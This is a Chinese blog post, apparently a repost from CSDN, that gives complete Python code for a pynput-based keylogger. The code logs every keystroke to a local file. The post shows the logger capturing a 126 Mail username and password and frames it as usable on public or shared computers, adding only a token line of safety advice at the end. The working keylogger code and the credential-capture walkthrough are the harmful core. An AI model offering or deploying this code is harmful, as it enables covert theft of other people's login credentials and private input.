python只需30行代码就能记录键盘的一举一动
作者:LexSaints 发布时间:2023-06-27 18:22:12
标签:Python,键盘,监控
先看看效果
Like This↓
一、公共WiFi 公用电脑什么的
在我们日常在线上工作、玩耍时,不论开电脑、登录淘宝、玩网游
统统都会用到键盘输入
在几乎所有网站,例如淘宝、百度、126邮箱等等
为了保护用户信息
登录时,输入框都是不可见的。
但是,输入框都在界面上隐藏,让我们看不到,就能真正的确保万无一失吗?
二、键盘记录器
今天介绍一种,通过键盘记录的方法,获取用户通过键盘输入的所有信息。
并实现获取126邮箱的登录用户信息。
三、python代码实现
1、安装pynput模块
PS C:\WINDOWS\system32> pip install pynput Collecting pynput
Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
|████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>
2、脚本完整代码
# -*- coding:utf-8 -*-
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
string = str(key).replace("'","")
def on_release(key):
global keys
string = str(key).replace("'","")
keys.append('\r'+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('D:\keys.txt', 'a') as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
3、启动脚本
将脚本放置在电脑的某个路径下,运行该程序;所有的键盘输入,都会被记录在相同目录下的keys.txt文档中。
PS D:\test> python .\keyRecord.py
4、登录126邮箱 抓取用户信息
在脚本运行状态下,登录126邮箱,可以看到,通过键盘输入的信息都被写入到了keys.txt文档中,包括用户名输完之后的tab按钮和确定enter登录按钮
四、安全提示
陌生WiFi不要随便连
陌生电脑不要随便用
emmmm~~~~
来源:https://blog.csdn.net/weixin_42350212/article/details/115399658
0
投稿
猜你喜欢
- 背景:在Android中按照数据保存的方式,可以分为如下几种Content Provider (用的SQLite实现),SQLite,Sha
- mapper文件使用in("str1","str2")mybatis的xxxMapper.xml文件
- 背景在接口请求过程中,传递json对象,springboot转换为实体VO对象后,所有属性都为null。post请求:后台接收请求:当时就懵
- 接触过Android开发的同学们都知道在Android中访问程序资源基本都是通过资源ID来访问。这样开发起来很简单,并且可以不去考虑各种分辨
- JSON.toJSONString()空字段不忽略修改使用JSON.toJSONString(object)方法,返回的json中,默认会将
- 最近碰到个需求,是希望在Unity有一个按钮,打开后直接跳转淘宝app,打开商品页面。百度了下没有相关的文章,于是我在此分享下。之前开发游戏
- 一、整体设计1、需求分析池化技术是计算机中的一种设计模式,内存池是常见的池化技术之一,它能够有效的提高内存的申请和释放效率以及内存碎片等问题
- ImageCacheconst int _kDefaultSize = 1000;const int _kDefaultSizeBytes
- 第一种方法:string s=abcdeabcdeabcde;string[] sArray=s.Split(c) ;foreach(str
- Android 微信摇一摇功能实现,最近学习传感器,就想实现摇一摇的功能,上网查了些资料,就整理下。如有错误,还请指正。开发环境Androi
- 之前我们在使用vue进行 h5 表单录入的过程中,遇到了Android软键盘弹出,覆盖 h5页面 输入框 问题,在此进行回顾并分享给大家:系
- package TOOLS;import java.io.BufferedReader;import java.io.File;import
- 相比于直线检测,直线拟合的最大特点是将所有数据只拟合出一条直线void fitLine( InputArray points, Output
- 在 fluro 中,定义路由处理器 Handler 时可以指定该页面的默认转场形式,或者在使用 navigateTo 方法是可以设置页面跳转
- 背景大家在使用Selenium + Chromedriver爬取网站信息的时候,以为这样就能做到不被网站的反爬虫机制发现。但是实际上很多参数
- 最近在做上传文件的服务,简单看了网上的教程。结合实践共享出代码。由于网上的大多数没有服务端的代码,这可不行呀,没服务端怎么调试呢。Ok,先上
- UI 妹纸又给了个图叫我做,我一看是这样的:我们首先把这个控件划分成 几个部分:1.底下部分的直线 :2.左右两边的半圆
- 初学C++的朋友经常在类中看到public,protected,private以及它们在继承中表示的一些访问范围,很容易搞糊涂。今天本文就来
- 因为mybatis好使,所以几乎需要操作数据库的时候,我都会使用mybatis,而且在一个正式的项目中,同时存在BS和CS的程序,都使用的M
- 1: .net framework 由两个部分组成:CLR 和 FCL。2:在CLR中,所有错误都是通过异常来报告的。3:智能感知功能主要是